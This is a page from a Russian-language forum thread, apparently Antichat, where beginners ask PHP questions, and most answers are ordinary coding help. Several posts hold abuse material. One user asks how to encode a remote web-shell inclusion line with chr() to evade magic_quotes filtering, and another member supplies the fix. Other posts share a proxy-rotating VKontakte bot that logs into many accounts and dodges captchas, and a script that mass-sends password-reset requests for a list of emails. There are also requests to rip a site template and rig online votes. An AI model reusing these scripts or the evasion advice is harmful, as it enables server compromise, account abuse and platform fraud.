PDA

Просмотр полной версии : [php] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 [56] 57 58 59 60 61 62 63 64 65 66

Byrger
09.12.2009, 22:22
$ids = explode('|',$id);
echo $ids[0];

А " как вырезать?

extreemal
09.12.2009, 22:54
Byrger: Вырезать кавычки? всмысле удалять их?
если да то:
$var = strtr($var, array('"'=>''))

real_kas
10.12.2009, 10:27
Вот такой вопросец возник...

Есть файл, в котором находится текст в формате:

тексттексттексттексттекст текст
%
текст2текст2текст2текст2тек ст2текст2
%
текст3текст3текст3текст3тек ст3текст3
%
итд

Вопрос: Как рандомом выбирать из этого файла строку?
Вопрос: Как рандомом выбирать из этого файла строку не каждый раз, а например раз в день?

Спасибки тем кто знает :)

b3
10.12.2009, 11:39
Вот такой вопросец возник...
Есть файл, в котором находится текст в формате:
Вопрос: Как рандомом выбирать из этого файла строку?
Вопрос: Как рандомом выбирать из этого файла строку не каждый раз, а например раз в день?
Спасибки тем кто знает :)

<?php
/* http://cronjob.ru/ */

echo '<b>Анегдот дня:<br></b> '.file_get_contents('now.txt');
$file = file('file.txt');

$str = $file[rand(0, count($file)-1)];
file_put_contents('now.txt', $str);
?>

file.txt:

- Рядовой Оглобля! - Рядовой Огло по вашему приказанию прибыл!
- Забиpай меня скоpей, увози за сто моpей - ты получишь 10 лет, ведь 16-ть мне-то нет...
- Опять эта тяжесть в животе. Hаверное экзамены, стресc... - Ладно, Даша, хватит себя успокаивать...
Утро в цыганском таборе: кто раньше встал - тот красивее всех оделся.
После дачи взятки сотруднику ГАИ улыбнуться и сказать: "Улыбнитесь, вас снимает скрытая камера!"


В файле file.txt к примеру анекдоты, берем рандом строку, записываем её в другой файл, в нужно нам месте на сайте делаем:
echo '<b>Анегдот дня:<br></b> '.file_get_contents('now.txt');
Что бы раз в день обновлялась информация, запускаем скрипт через CRON, если хостинг не предоставляет крон задачи, пользуемся фри сервисом:
http://cronjob.ru
Мануал по крону:
http://www.codenet.ru/webmast/php/cron.php

Architek86
10.12.2009, 18:37
Как проверить, что переменная $var содержит открытый (и не закрытый с помощью fclose) дескриптор файла (fopen) ? что-то вроде is_openfile($var) нужно....

Epic wave
10.12.2009, 19:48
подскажите. как с помощью cron заставить два скрипта работать, один в 00:00 , а второй в 23:00?

в файлах активно используется include, require читал это вроде влияет.

читаю манул на пост выше, но все таки жду ответов.

Gifts
10.12.2009, 20:32
Architek86 is_resource(), но в принципе, обычно, достаточно простого if (!$f) echo 'Не дескриптор';

Byrger
12.12.2009, 17:35
Есть парсер кода

$content = file_get_contents("http://site.ru");

preg_match_all("/<td class=\"td3\">([0-9]{0,4})<\/td>/is", $content, $matches);

$text = $matches[1];

Проблема в том что сайт с которого он парсит смотрит версию клиента и выдает не верный контент если это не браузер.
Как можно передать ему версию браузера любого?

b3
12.12.2009, 18:09
Есть парсер кода

$content = file_get_contents("http://site.ru");

preg_match_all("/<td class=\"td3\">([0-9]{0,4})<\/td>/is", $content, $matches);

$text = $matches[1];

Проблема в том что сайт с которого он парсит смотрит версию клиента и выдает не верный контент если это не браузер.
Как можно передать ему версию браузера любого?
http://ua2.php.net/curl
http://ua2.php.net/manual/en/curl.installation.php


<?php
$ch = curl_init('http://ya.ru/');
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ch);
if(preg_match_all("/<td class=\"td3\">([0-9]{0,4})<\/td>/is", $content, $matches))
echo $matches[1];
?>

fker
12.12.2009, 18:51
В базе дата хранится в формате YYYY-MM-DD
как вывести в формате: 12 December
пробовал:
date("d F", mysql_result($result,$i,date_post))
выводит 01 January
подскажите плиз

Byrger
12.12.2009, 19:05
http://ua2.php.net/curl
http://ua2.php.net/manual/en/curl.installation.php


<?php
$ch = curl_init('http://ya.ru/');
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ch);
if(preg_match_all("/<td class=\"td3\">([0-9]{0,4})<\/td>/is", $content, $matches))
echo $matches[1];
?>

А всякими fread нельзя?

geforse
12.12.2009, 19:10
В базе дата хранится в формате YYYY-MM-DD
как вывести в формате: 12 December
пробовал:
date("d F", mysql_result($result,$i,date_post))
выводит 01 January
подскажите плиз

Нужно дату в Unix time переводить

date("d F", strtotime(mysql_result($result,$i,date_post)));

Player#1
12.12.2009, 19:53
А всякими fread нельзя?
Можно при помощи сокетов, например вот так:
$host="ya.ru";
$path="/index.html";
$agent="Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4";
$fp = fsockopen($host, 80, $errno, $errstr, 30);

if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET ".$path." HTTP/1.1\r\n";
$out .= "Host: ".$host."\r\n";
$out .= "User-Agent: ".$agent."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}

LASS0
12.12.2009, 23:03
Как можно вывести таблицу не с первой, а с последней записи "nic"?

$result = mysql_query ("SELECT nic FROM tab");
if ($result)
{
$rows = mysql_num_rows($result);
for ($i=0; $i<$rows; $i++)
{
$r=mysql_fetch_array($result);
echo $r["nic"];
}
mysql_free_result($result);
}

wildshaman
12.12.2009, 23:06
SELECT nic FROM tab order by DESC

krypt3r
13.12.2009, 00:18
SELECT nic FROM tab order by nic DESC
поле пропущено)

SanyaX
13.12.2009, 11:21
Помогайте ))
Есть пример код

<?php eval(include("http://site.com/shell.txt")); ?>

Как поняли инклудит шелл. А вот мне нужно сделать этот же рабочий php код такого вида.

<?php eval(include(chr(34).chr(104).chr(116).chr(116).ch r(112).........); ?>

Помоги сделать чтобы такой вид тоже давал рабочий вариант, то есть инклудился. А то уже 4 час сижу бьюсь не хуя понять не могу где ошибку допускаю. За ранее спасибо.

mailbrush
13.12.2009, 11:42
Помогайте ))
Есть пример код

<?php eval(include("http://site.com/shell.txt")); ?>

Как поняли инклудит шелл. А вот мне нужно сделать этот же рабочий php код такого вида.

<?php eval(include(chr(34).chr(104).chr(116).chr(116).ch r(112).........); ?>

Помоги сделать чтобы такой вид тоже давал рабочий вариант, то есть инклудился. А то уже 4 час сижу бьюсь не хуя понять не могу где ошибку допускаю. За ранее спасибо.
Ни один из твоих вариантов не сработает.
Ф-ция include предназначена для инклюдинга файлов, НО она его инклюдит, а возвращает результат выполнения, то есть 1 (успешно проинклюдиди) или 0 (неуспешно). Таким образом твой код станет eval(1);
или
eval(0);

PS: Тебе надо проинклудить файл, но стоят magic_quotes, и кавычки магическим образом превращаются в \'? Тогда используй chr, как ты и делал, но не переводи кавычку в chr - у тебя первый (и последний, наверное) символ, кодированный в чар - кавычки (chr(34)), вот их и убери, и тогда все будет как по маслу :)

SanyaX
13.12.2009, 12:10
mailbrush помог, ему спасибо.

foxxx1234
13.12.2009, 22:46
Подскажите пытаюсь исправить скрипт который добавляет друзей в контакте через прокси. Но его постоянно перекидывает на сам контакт. В чем может быть проблема.

svesve
13.12.2009, 22:53
античат не форум экстрасенсов (с)
код в студию

Player#1
13.12.2009, 22:54
хорошо бы код выложить...
возможно если скрипт работает через curl то надо добавить строку:
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);

foxxx1234
13.12.2009, 22:55
При просмотре заголовков видно iframe но не понятно как сделать так чтобы он не редиректил на контакт.

Смотрим есть ли новые друзья ..........HTTP/1.1 200 OK
Date: Mon, 14 Dec 2009 02:40:36 GMT
Server: nginx/0.7.59
Content-Type: text/html; charset=windows-1251
X-Powered-By: PHP/5.2.6-1+lenny3
Pragma: no-cache
Cache-control: no-store
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Vary: Accept-Encoding
Content-Length: 1058
Connection: close

<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=windows-1251" />
<script>
var t = setTimeout("location.href='http://vkontakte.ru/login.php?op=logout'", 7000);
</script>
</head>
<body>
<div>
<img src="http://vkontakte.ru/images/progress.gif">
</div>
<form id="f" name="f" method="post" action="http://vkontakte.ru/friends.php?filter=requests">
<input type='hidden' name='filter' value='requests' /><input type='hidden' name='IP_ADDRESS' value='210.32.200.95' /><input type='hidden' name='request_method' value='get' /><input type='hidden' name='pda' value='' />
</form>
<iframe name="mf" onload="try{if (this.contentWindow.location.href.indexOf('slogin' ) != -1) {clearTimeout(t); if (this.contentWindow.location.href.indexOf('nonenon e') != -1) {location.href='http://vkontakte.ru/login

Player#1
13.12.2009, 23:03
а зачем выводит в браузер html?
Парсить страницу надо, а не выводить.

foxxx1234
13.12.2009, 23:10
Просто скрипт подвисает и я хотел посмотреть в каком месте это происходит.

foxxx1234
13.12.2009, 23:18
Дайте советы по увеличению скорости данного скрипта и ошибкам.

Файл index.php


<?php
set_time_limit( 1200 );
include( 'function.inc' );
print date( "H:i:s", time() ) ."<br />"; flush();
$TimeGrab = file ( $TimeGrabProx );

if ( $TimeGrab[0] <= date ( 'd/m/Y H:i:s' , time() ) )
{
print "Обнавляем прокси ... "; flush();
if ( grab ( $proxing, $TimeGrabProx ) !== false )
{
print "Ok!<br />"; flush();
$proxing = file ( 'proxy.txt' );
$count = count ( $proxing );
$display[] = '['.date( "d-m-Y H:i:s", time() ) .']Обновили прокси! '.$count." штук!\r\n";
log_file ( $display, $loger, $display_mess );
unset ( $display );
}
else
{
$display[] = '['.date( "d-m-Y H:i:s", time() ) ."]Ошибка обнавления прокси!\r\n";
log_file ( $display, $loger, $display_mess);
exit();
}
sleep( 10 );
}
$proxing = file ( 'proxy.txt' );
$count = count ( $proxing );
$display[] = "Run friends [".date( "d-m-Y H:i:s", time() ) ."]";
/************************************************** ********
/*Заходим в аккаунт
/************************************************** *********/

for ($k = 0; $k < count( $acc ); $k++ )
{
if ( $k == 0 )
{
$proxy = $proxing[0];
}

list($nic, $pass, $stst ) = split( ":", $acc[$k] );
$display[] = " << " . $nic .":" .$proxy." >> ";

$data_auth = "?act=login&email=".$nic."&pass=".$pass."&expire=&vk=1";

$delling = false;
if ( $message == 1 ) print "Проверяем <b>" .$nic. "</b> на работоспасобность ...";
do
{
$connect = get_page_html( 'http://vkontakte.ru/login.php', 'http://login.vk.com/', $proxy, $data_auth, 1 );

if ( strstr ( $connect, 'HTTP/1.1 200 OK') !== false xor strstr ( $connect, 'HTTP/1.0 200 OK') !== false )
{
if ( strstr ( $connect, 'HTTP/1.1 302') !== false )
{

//=========================================//
if ( $message == 1 ) print " ok ! <br />"; flush();
preg_match('#\d+#',$connect,$id);
echo $res[0];


//=========================================//
preg_match_all('#Set-cookie: (.*?;) ex#UiS', $connect, $cookie );

if ( !empty( $cookie[1][1] ) )
{
for ( $c = 0; $c < count( $cookie[1] ); $c++)
{
$Cookies .= $cookie[1][$c];
}
if ( strstr ( $Cookies , 'remixsid' ) !== true )
{
$Cookies .= 'remixlang=0;remixchk=5;';
}

/*||||||||||||||||||||||||||||||||||||||||||||||||| |||||||||||||||||||*/

print "Делаем анкету онлайн ..."; flush();
$OnLineOk = false;
do
{

$OnLine = get_page_html( 'http://vkontakte.ru/profile.php', 'http://login.vk.com/?act=login', $proxy, NULL, 1, $Cookies );

if ( strstr ( $OnLine, '/profile.php' ) !== false )
{
//print $OnLine . "<br />"; flush();
print " Ok! <br />"; flush();
$OnLineOk = true;
}
else
{
if ( $proxing[$count-1] == $proxy )
{
print "Идем по списку прокси с начала!<br />\n";
$proxy = reset ( $proxing );
}
else
{
if ( $message == 1 ) print "."; flush();
$proxy = next( $proxing );
}

}
}
while ( !$OnLineOk );
/*||||||||||||||||||||||||||||||||||||||||||||||||| |||||||||||||||||||*/
//=========================================//

if ( $message == 1 ) print " Смотрим есть ли новые друзья ..."; flush();
$ProfileOk = false;
$fid_count = 0;
do
{
$ProFile = get_page_html( 'http://vkontakte.ru/friends.php?filter=requests', 'http://vkontakte.ru/profile.php', $proxy, NULL, 1, $Cookies );
//print $ProFile; flush();
if ( strstr ( $ProFile, 'http://vkontakte.ru/id1' ) !== false )
{
if ( strstr ( $ProFile, 'Location: /friends.php' ) !== false )
{
print "Заявок нет<br />\n"; flush();
}
else
{
preg_match_all( '#.*\[\[(.*?)\]\],.*#', $ProFile, $FrStr );

preg_match( '#.*\'hash\':\'(.*?)\'.*#', $ProFile, $Hash );

$FrStrExplode = explode( "],[", $FrStr[1][0] );
print " " . count ( $FrStrExplode ) ." в друзья!<br />"; flush();
foreach ( $FrStrExplode as $Fr )
{
preg_match( '#(\d{0,12}),\"(.*?)\",.*#', $Fr, $FrWelId );
print $FrWelId[1]; flush();
$WelcPost = 'fid='.$FrWelId[1].'&act=accept_friend&hash='.$Hash[1].'&cats=1';
/* Приглашаем */
$GoWelk = false;
do
{
$WelkResp = get_page_html( 'http://vkontakte.ru/friends_ajax.php', 'http://vkontakte.ru/friends.php?filter=requests', $proxy, $WelcPost, 1, $Cookies );
if ( strstr ( $WelkResp, 'Заявка принята' ) !== false xor strstr ( $WelkResp, 'Request Accepted' ) !== false xor strstr ( $WelkResp, 'Заявку прийнято' ) !== false)
{
print " Ok <br />\n"; flush();
$GoWelk = true;
}
else
{
if ( $proxing[$count-1] == $proxy )
{
print "Идем по списку прокси с начала!<br />\n";
$proxy = reset ( $proxing );
}
else
{
if ( $message == 1 ) print "."; flush();
$proxy = next( $proxing );
}
}
}
while ( !$GoWelk );
/* */

}

}

$ProfileOk = true;
}
else
{

if ( $proxing[$count-1] == $proxy )
{
print "Идем по списку прокси с начала!<br />\n";
$proxy = reset ( $proxing );
}
else
{
if ( $message == 1 ) print "."; flush();
$proxy = next( $proxing );
}
}
}
while ( !$ProfileOk );
$display[] = "[ " . count ( $FrStrExplode ) . " ] new friends - is accepted ! ";
/*||||||||||||||||||||||||||||||||||||||||||||||||| |||||||||||||||||||*/
$delling = true;
}
else
{
if ( $proxing[$count-1] == $proxy )
{
print "Идем по списку прокси с начала!<br />\n";
$proxy = reset ( $proxing );
}
else
{
if ( $message == 1 ) print "."; flush();
$proxy = next( $proxing );
}
}

/////////////////////////////////////////////
}
elseif ( strstr ( $connect, 'failed') !== false )
{
if ( $message == 1 ) print " Удален ! <br />"; flush();

$DellAcc = fopen ( $DelLog, 'a+' );

if ( $DellAcc )
{
$RecordDellAcc = "[ ".date( "d-m-Y H:i:s", time() ). " ] " . $nic . " Сайт ответил: анкета удалена.\n";
fputs( $DellAcc, $RecordDellAcc );
}
else
{
if ( $message == 1 ) print "Не смогли записать в файл удаленную анкету<br />";
flush();
}
fclose( $DellAcc );
$delling = true;
}
elseif ( strstr ( $connect, 'Enter code') !== false )
{
if ( $message == 1 ) print " требует ввода капчии, спим 30 сек ...<br />"; flush();
if ( $proxing[$count-1] == $proxy )
{
print "Идем по списку прокси с начала!<br />\n";
$proxy = reset ( $proxing );
}
else
{
$proxy = next( $proxing );
}
sleep( 30 );
if ( $message == 1 ) print " пробуем снова ..."; flush();
}
else
{

if ( $proxing[$count-1] == $proxy )
{
print "Идем по списку прокси с начала!<br />\n";
$proxy = reset ( $proxing );
}
else
{
if ( $message == 1 ) print "."; flush();
$proxy = next( $proxing );
}

}

}
else
{
if ( $proxing[$count-1] == $proxy )
{
print "Идем по списку прокси с начала!<br />\n";
$proxy = reset ( $proxing );
}
else
{
if ( $message == 1 ) print "."; flush();
$proxy = next( $proxing );
}
}
}
while ( !$delling );
$Cookies = '';
sleep( 5 );
}
$display[] = $k . " vsego onlain акаунта(ов) [".date( "d-m-Y H:i:s", time() ) ."]\r\n";
print date("H:i:s", time()) . "<br />"; flush();

if ( $message == 1 )
{
print log_file ( $display, $loger, $display_mess );
}
?>


Файл function.inc

<?php
date_default_timezone_set( 'Europe/Kiev' );
$display = array(); //Массив с сообщениями
$loger = 1; // 1 Включает зпись логов, 0 выключает;
$display_mess = 0; // 1 Включает вывод сообщения о прделоной работе, 0 выключает;
$message = 1;// 1 Включает вывод сообщения о ходе работы, 0 выключает;
// Файл счетчик обновления прокси
if ( file_exists( 'count_prox.dat' ) )
{
$TimeGrabProx = 'count_prox.dat';
}
else
{
$CreaetTimeGrabProx = fopen( 'count_prox.dat', 'w+' );
if ( $CreaetTimeGrabProx )
{
chmod( 'count_prox.dat', 0666 );
print "Создали файл 'count_prox.dat' <br />"; flush();
}
fclose ( $CreaetTimeGrabProx );
$TimeGrabProx = 'count_prox.dat';
}

// Файл удаленных анкет
if ( file_exists( 'DellAcc.txt' ) )
{
$DelLog = 'DellAcc.txt';
}
else
{
$CreaetDelLog = fopen( 'DellAcc.txt', 'w+' );
if ( $CreaetDelLog )
{
chmod( 'DellAcc.txt', 0666 );
print "Создали файл 'DellAcc.txt' <br />"; flush();
}
fclose ( $CreaetDelLog );
$DelLog = 'DellAcc.txt';
}

if ( file_exists( 'proxy.txt' ) )
{
$proxing = file ( 'proxy.txt' ); // Файл с прокси
}
else
{
exit ( 'Нет файла прокси!');
}
///////////

if ( file_exists( 'acc.inc' ) )
{
$acc = file ( 'acc.inc' ); // Файл с анкетами
}
else
{
exit ( 'Нет файла с аккаунтами!');
}


function count_prox ( $TimeGrabProx, $Time=7200 )
{

$acc_rec = fopen ( $TimeGrabProx, "w+" );
if ( flock( $acc_rec, LOCK_EX ) )
{
fseek($acc_rec, 0 );
fputs( $acc_rec, date ( "d/m/Y H:i:s", ( time () + $Time ) ) );
flock( $acc_rec, LOCK_UN);
}
fclose ($acc_rec);

}

function log_file ( $var, $stat, $display_mess ) // Функция для ведения лог файла
{
if ( $stat == 1 )
{
if ( file_exists( 'log_file.txt' ) )
{
$log_file = fopen ( 'log_file.txt', "a+" ) or die( "Не могу открыть log_file.txt" );
}
else
{
$log_file = fopen ( 'log_file.txt', "a+" ) or die( "Не могу открыть log_file.txt" );
if ( $log_file )
{
chmod( 'log_file.txt', 0666 );
}

}

if ( flock( $log_file, LOCK_EX ) )
{
rewind ( $log_file );
fputs( $log_file, @implode( " ", $var ) );
flock( $log_file, LOCK_UN);
}
else
{
return "Не могу запереть файл";
}


fclose ( $log_file );
}

if ( $display_mess == 1 )
{
$del = array_shift ( $var );
$del = array_pop ( $var );
return @implode ( " ", $var ) . flush();
}
}

function get_page_html( $url, $Refer='', $proxy='', $post='', $num='', $Cookie='' )
{

$agent="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)";

$curltop = curl_init();
if ( !empty ( $proxy ) )
{
curl_setopt( $curltop, CURLOPT_PROXY, $proxy );
}
curl_setopt( $curltop, CURLOPT_URL, $url );
if ( !empty( $Refer ) )
{
curl_setopt( $curltop, CURLOPT_REFERER, $Refer );
}
curl_setopt( $curltop, CURLOPT_USERAGENT, $agent );
curl_setopt( $curltop, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt( $curltop, CURLOPT_FOLLOWLOCATION, 1 );
if ( empty( $Cookie ) )
{
$cookiefile = 'cookie.inc';
if ( !file_exists( $cookiefile ) )
{
$handle = fopen( $cookiefile, 'w' );
chmod( 'cookie.inc', 0666 );
fclose( $handle );
}
curl_setopt( $curltop, CURLOPT_COOKIEFILE, $cookiefile );
curl_setopt( $curltop, CURLOPT_COOKIEJAR, $cookiefile );
}
else
{
curl_setopt( $curltop, CURLOPT_COOKIE, $Cookie );
}
curl_setopt( $curltop, CURLOPT_TIMEOUT, 15 );
if ( $num == 1 )
{
curl_setopt( $curltop, CURLOPT_HEADER, 1 );
}
if ( !empty( $post ) )
{
curl_setopt( $curltop, CURLOPT_POST, 1 );
curl_setopt( $curltop, CURLOPT_POSTFIELDS, $post );
}
$html = curl_exec( $curltop );
//echo $html;
curl_close ( $curltop );
return !empty( $html ) ? $html : false;

}

function grab ( $proxing, $TimeGrabProx )
{
$FileRezer = file ( 'proxy.txt' );
$file_prox = fopen ( 'proxy.txt', 'w+' );
flock( $file_prox, LOCK_EX );
$ArrayLinc[] = 'http://freeproxylist.org/en/free-proxy-list.htm';
for ( $p = 1; $p <= 50; $p ++ )
{
$ArrayLinc[$p] = 'http://freeproxylist.org/en/free-proxy-list.htm?index='.$p ;
}
foreach ( $ArrayLinc as $key => $Linc )
{

if ( $key == 0 )
{
$PostSend = 'cc=any&ssl=any&speed=0&port=any&connect=any&ping=15.0000&type=any&post=any&uptime=0&section=both&codeen=any&interval=360&userip=94.178.217.103&code=AW1VfWYjMueusyuh&filter=save+and+apply+filter+options';
}
else
{
$PostSend = null;
}

$Prox = get_page_html ( Null, $Linc, Null, Null, $PostSend, 0 );
if ( !empty( $Prox ) )
{
preg_match_all( "/(\d{0,3}\.\d{0,3}\.\d{0,3}\.\d{0,3}:\d{0,6})/", $Prox, $ProxSort );
if ( !empty ( $ProxSort[1][0] ) )
{
//print $Linc ." Ok!<br />"; flush();

for ( $i = 0; $i < count ( $ProxSort[1] ); $i ++ )
{
fwrite( $file_prox, $ProxSort[1][$i]."\n" );
}
$prox_url_ok = true;
}

}
else
{
if ( ( $p - 1 ) == $key )
{
if ( filesize( 'proxy.txt' ) <= 10 )
{
fwrite( $file_prox, @implode( "", $FileRezer ) );
$prox_url_ok = false;
}
}

}
}
flock( $file_prox, LOCK_UN);
fclose( $file_prox );
count_prox ( $TimeGrabProx );
return $prox_url_ok;
}
?>

Matnya
14.12.2009, 01:39
как узнать ПО сервера (из заголовка) средсвами ПХП. т.е. надо написать скрипт который читает загаловок сервера.

krypt3r
14.12.2009, 08:11
<?php
$url = 'http://linux.org.ru/';
$c = curl_init ();
curl_setopt ($c, CURLOPT_URL, $url);
curl_setopt ($c, CURLOPT_HEADER, 1);
curl_setopt ($c, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($c, CURLOPT_REFERER, $url);
curl_setopt ($c, CURLOPT_USERAGENT, 'Mozilla/5.0');
curl_setopt ($c, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($c, CURLOPT_NOBODY, 1);
$res = curl_exec ($c);
curl_close ($c);
preg_match ('/Server:\s+(.+?)\r\n/', $res, $m);
echo $m[1];
?>

qW1zer
14.12.2009, 21:00
Подскажите пожалуйста,это вроде как к регуляркам относится!
В общем есть переменная,получаем через POST пример:

$param=$_POST['value'];

я делаю проверку

if ($param == 'Значение')
{
действие
}

Но проблема в том,что первая часть $param постоянная,к примеру setname,а вторая постоянно меняется и содержит она цифры и буквы.
К примеру так
setname vasyapupkin123
Можно как-нибудь определить или понять что переменная содержит setname A-Z;0-9 или что-то подобное..заранее спасибо

Kaimi
14.12.2009, 21:06
Наверное так

<?php
if(preg_match('/^setname [0-9a-z]+$/i', $param))
{
действие
}
?>

mastaadon
14.12.2009, 22:44
Ребята помогите с кодом, нужно написать php функцию которая будет проверять логин на содержание недопустимых символов. В моем случае логин должен содержать только цифры, буквы английского алфавита и символы @, ., -, _ . То есть все что присутствует здесь: .,-,_,@,1,2,3,4,5,6,7,8,9,0,A,a,B,b,C,c,D,d,E,e,F,f,G ,g,H,h,I,i,J,j,K,k,L,l,M,m,N,n,O,o,P,p,Q,q,R,r,S,s ,T,t,U,u,V,v,W,w,X,x,Y,y,Z,z

le-mon
14.12.2009, 23:12
Ретрив по списку мыльников Вк, не могу разобраться в чем ошибка:

(c)Player#1 for antichat.ru<br><br> <?php set_time_limit(0); function curl($url,$post) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); curl_close($ch); return $result; }; $fp=fopen("accounts.txt", "rt"); while(!feof($fp)) { $str = fgets($fp, 100); $acc = explode(";", $str, 2); $login = trim($acc[0]); $post = "op=retrieve&email=".$login; $result = curl("http://vkontakte.ru/login.php", $post); echo $login; flush(); if(strpos($result, "Location: login.php?p=1")) { echo " - Пароль выслан<br>"; }else{ echo "Ошибка!<br>"; }; }; fclose($fp); ?>

svesve
14.12.2009, 23:28
Ребята помогите с кодом, нужно написать php функцию которая будет проверять логин на содержание недопустимых символов. В моем случае логин должен содержать только цифры, буквы английского алфавита и символы @, ., -, _ . То есть все что присутствует здесь: .,-,_,@,1,2,3,4,5,6,7,8,9,0,A,a,B,b,C,c,D,d,E,e,F,f,G ,g,H,h,I,i,J,j,K,k,L,l,M,m,N,n,O,o,P,p,Q,q,R,r,S,s ,T,t,U,u,V,v,W,w,X,x,Y,y,Z,z



<?php

function check_login ($login) {
if(!preg_match("/^[a-zA-Z0-9\.@\-_]+$/",$login))
echo "Ошибка";
else
echo "Правильное имя";
}
?>

mastaadon
15.12.2009, 02:01
svesve спасибо за помощь, кажется нужна небольшая корректировка. Запятую нужно убрать, функция жалуется на логин типа abs-sade, то есть тире и пропускает символы [] и #. Для меня весьма важно что бы мой скрипт не пропускал логины которые не могут быть допущены к регистрации в программах с которыми я собираюсь работать. У них допустимы только знаки . @ - _ и английский алфавит с цифрами. Если не трудно доработайте пожалуйста а то я сам с регулярными выражениями не знаком вовсе.

shellz[21h]
15.12.2009, 02:10
ecли правильно понял.
'/^[a-zA-Z0-9\.,@\-_]+$/'

svesve
15.12.2009, 02:53
svesve спасибо за помощь, кажется нужна небольшая корректировка. Запятую нужно убрать, функция жалуется на логин типа abs-sade, то есть тире и пропускает символы [] и #. Для меня весьма важно что бы мой скрипт не пропускал логины которые не могут быть допущены к регистрации в программах с которыми я собираюсь работать. У них допустимы только знаки . @ - _ и английский алфавит с цифрами. Если не трудно доработайте пожалуйста а то я сам с регулярными выражениями не знаком вовсе.

shellz[21h] угу забыл тире заэкранить

mastaadon смотри выше я исправил

mastaadon
15.12.2009, 14:12
Спасибо ребята вы мне здорово помогли

hackmen
15.12.2009, 14:50
Есть txt файл
В нем

| <a href="**********">aaa aaa aaa</a>
| <a href="**********">bbb bbb bbb</a>
| <a href="**********">cccc cccc cccc</a>

Нужно вырезать
aaa aaa aaa
bbb bbb bbb
cccc cccc cccc

Спасибо.

b3
15.12.2009, 15:12
Есть txt файл
В нем

| <a href="**********">aaa aaa aaa</a>
| <a href="**********">bbb bbb bbb</a>
| <a href="**********">cccc cccc cccc</a>

Нужно вырезать
aaa aaa aaa
bbb bbb bbb
cccc cccc cccc

Спасибо.

<?php
$file = '| <a href="**********">aaa aaa aaa</a>
| <a href="**********">bbb bbb bbb</a>
| <a href="**********">cccc cccc cccc</a>';
$file = preg_replace('#<a.*>(.*)</a>#','$1',$file);
echo $file;
?>

Matnya
15.12.2009, 16:01
<?php
$url = 'http://linux.org.ru/';
$c = curl_init ();
curl_setopt ($c, CURLOPT_URL, $url);
curl_setopt ($c, CURLOPT_HEADER, 1);
curl_setopt ($c, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($c, CURLOPT_REFERER, $url);
curl_setopt ($c, CURLOPT_USERAGENT, 'Mozilla/5.0');
curl_setopt ($c, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($c, CURLOPT_NOBODY, 1);
$res = curl_exec ($c);
curl_close ($c);
preg_match ('/Server:\s+(.+?)\r\n/', $res, $m);
echo $m[1];
?>


Спасибо конечно, но я пока хочу науиться это делать стандартными средсвами. без курла.

b3
15.12.2009, 16:24
Спасибо конечно, но я пока хочу науиться это делать стандартными средсвами. без курла.
http://ua2.php.net/get_headers

Matnya
15.12.2009, 16:47
http://ua2.php.net/get_headers

большое спс. а функциями типа fsockopen() мона получить заголовок Server? если да, то как? плиз

b3
15.12.2009, 17:34
большое спс. а функциями типа fsockopen() мона получить заголовок Server? если да, то как? плиз

<?php
$fp = fsockopen("www.ya.ru", 80, $errno, $errstr, 3);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: www.ya.ru\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
$data = fread($fp, 100*1024);
fclose($fp);
list($headers) = explode("\r\n\r\n",$data);
echo 'HEADERS: <br><textarea cols="40" rows="20" wrap="OFF">'.$headers.'</textarea><hr>';

if(preg_match("#Server: (.*)\n#",$headers, $m))
echo 'SERVER: <strong>'.$m[1].'</strong>';

}
?>

«Adult Holding»
15.12.2009, 18:06
Кто может помочь рипнуть шаблончик форума на phpbb?
Буду дико благодарен...

вот он: http://www.titaniumforum.org/index.php

X-Alex
15.12.2009, 20:53
я так понимаю не совсем в тему но все же
умные люди помогите советом как автоматизировать процесс голосования
было бы неплохо пообщатся голосом через скайп или майл

svesve
15.12.2009, 22:00
Чистишь куки и голосуешь.
antiturk тебе в помощь!

ANTIHАCK
15.12.2009, 22:02
Есть:

$dave = $_POST["go"];;
$mail = $_POST["mail"];
$tema = "Блабла";
$subject = 'Блала: $dave';


if ($_POST["mail"] == TRUE)
{
mail ($mail,$tema,$subject);
}

Все нормально отправляет, но приходит "Блала: $dave" а не то что должно было быть в переменной $dave...

svesve
15.12.2009, 22:04
Есть:

$dave = $_POST["go"];;
$mail = $_POST["mail"];
$tema = "Блабла";
$subject = 'Блала: $dave';


if ($_POST["mail"] == TRUE)
{
mail ($mail,$tema,$subject);
}

Все нормально отправляет, но приходит "Блала: $dave" а не то что должно было быть в переменной $dave...

Исправь

